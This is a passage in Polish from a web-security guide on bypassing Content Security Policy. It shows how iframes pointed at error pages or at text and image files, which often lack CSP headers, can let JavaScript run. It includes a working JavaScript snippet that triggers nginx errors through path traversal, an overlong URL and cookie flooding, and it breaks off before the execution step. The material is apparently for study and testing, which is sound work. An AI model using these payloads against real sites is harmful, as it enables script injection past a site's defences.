Zabrania korzystania z funkcji, które wykonują kod przesyłany jako ciąg znaków. Na przykład: eval, setTimeout, setInterval będą zablokowane ze względu na ustawienie unsafe-eval.
Zawartość zewnętrznych źródeł jest również blokowana, w tym obrazy, CSS, WebSockets, a zwłaszcza JS.
Za pomocą tekstu i obrazów
Zauważono, że nowoczesne przeglądarki konwertują obrazy i tekst na HTML w celu poprawy ich wyświetlania (np. ustawianie tła, wyśrodkowywanie itp.). W rezultacie, jeśli obraz lub plik tekstowy, takie jak favicon.ico lub robots.txt, jest otwierany za pomocą iframe, jest renderowany jako HTML. Warto zauważyć, że te strony często nie mają nagłówków CSP i mogą nie zawierać X-Frame-Options, co umożliwia wykonanie dowolnego kodu JavaScript z nich:
Podobnie, odpowiedzi błędów, takie jak pliki tekstowe lub obrazy, zwykle nie zawierają nagłówków CSP i mogą pomijać X-Frame-Options. Błędy mogą być spowodowane, aby załadować się w ramce iframe, umożliwiając następujące działania:
// Inducing an nginx errorframe=document.createElement("iframe");frame.src="/%2e%2e%2f";document.body.appendChild(frame);// Triggering an error with a long URLframe=document.createElement("iframe");frame.src="/"+"A".repeat(20000);document.body.appendChild(frame);// Generating an error via extensive cookiesfor(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};frame=document.createElement("iframe");frame.src="/";document.body.appendChild(frame);// Removal of cookies is crucial post-executionfor(var i=0;i<5;i++){document.cookie=i+"="}
Po wywołaniu któregokolwiek z wymienionych scenariuszy, wykonanie kodu JavaScript w ramce jest możliwe w następujący sposób: